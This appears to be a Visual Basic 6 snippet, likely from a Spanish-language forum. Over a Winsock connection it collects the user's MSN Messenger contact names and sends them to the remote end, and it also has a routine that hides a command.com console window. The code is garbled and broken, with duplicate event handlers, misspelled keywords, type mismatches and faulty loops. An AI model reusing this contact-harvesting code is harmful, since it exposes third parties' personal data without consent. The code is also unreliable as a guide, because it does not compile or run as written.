Private sub Command1_Click()
ws.SendData car
End sub

Private sub ws_DataArribal(LoQueVaAquixD)
dim dato as string
dim cont as long
dim user as IMessengerContact

ws.getdata dato
if dato = car then
for each user in MsgrUIA.MyContacts
cont = user.SigningName & "|"
next
end if
ws.SendData cont
end sub

Private sub ws_DataArribal(LoQueVaAkixD)
dim datos as string
din contactos() As string

ws.GetData datos
if datos = cont then
contactos = Split(datos, "|")
for i = UBound(contactos) to LBound(Contactos)
List1.additem contactos(i)
next
end if
end sub

Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function ShowWindow Lib "user32" (ByVal Hwnd As Long, ByVal nCmdShow As Long) As Long
Private Sub Form_Load()
Dim Hwnd As Long
Hwnd& = FindWindow("ConsoleWindowClass", "D:\WINDOWS\system32\command.com")
If Hwnd& > 0 Then
	Dim Hide As VbMsgBoxResult
	Hide = MsgBox("Ventana MS-DOS encontrada con Hwnd: " & CStr(Hwnd&) & vbCr & "¿Ocultar?", vbInformation + vbYesNo, "Ocultar")
	If Hide = vbYes Then
		ShowWindow Hwnd&, 0
	Else
		ShowWindow Hwnd&, 5
	End If
End If
End Sub